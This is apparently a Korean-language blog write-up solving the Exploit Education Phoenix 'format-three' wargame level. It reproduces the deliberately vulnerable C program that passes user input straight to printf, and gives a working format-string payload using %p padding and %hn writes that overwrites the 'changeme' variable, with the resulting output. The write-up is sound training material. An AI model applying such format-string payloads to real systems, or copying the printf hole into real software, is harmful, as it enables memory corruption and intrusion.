Wargame/Exploit Education

[Phoenix] Format three

wyv3rn 2022. 9. 30. 07:29
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/format-three, by https://exploit.education
 *
 * Can you change the "changeme" variable to a precise value?
 *
 * How do you fix a cracked pumpkin? With a pumpkin patch.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[4096];
  printf("%s\n", BANNER);

  if (read(0, buf, sizeof(buf) - 1) <= 0) {
    exit(EXIT_FAILURE);
  }

  bounce(buf);

  if (changeme == 0x64457845) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    printf(
        "Better luck next time - got 0x%08x, wanted 0x64457845!\n", changeme);
  }

  exit(0);
}

 

2.2. 분석

에라이... 쓰던거 다 날아갔네.

간단히 요약해서 쓰자.

이전 문제와 동일하지만, changeme 변수가 특정 값을 가져야 한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

bounce 함수 내의 printf가 format string bug를 일으킴.

 

3.2. 공격 준비

대표적인 format string bug 문제이며, 특정 값을 특정 위치에 쓸 수 있다.

문제는 왜인지 모르겠지만 %10$n과 같이 오프셋 사용이 안된다.

그래서 하나씩 위치를 찾아가며 값을 삽입하였다. (노가다)

 

4. exploit

user@phoenix-amd64:~$ (perl -e 'print "AAAAA%90964c" , "%p"x18 , "%hn" , "AAA%70653c" , "%hn" , "\x92\x0a\x60\x00\x00\x00\x00\x00", "AAAAAAAA", "\x90\x0a\x60" ') | /opt/phoenix/amd64/format-three
...
 0x7ffff7ffb3000x7ffff7dc26170000x7fffffffd6a00x7fffffffe6a00x4006960x7fffffffe6f80x1000000000x30392541414141410x70257025633436390x70257025702570250x70257025702570250x70257025702570250x70257025702570250x37254141416e68250x6e68256333353630AAA
 A▒
`Well done, the 'changeme' variable has been changed correctly!
728x90
반응형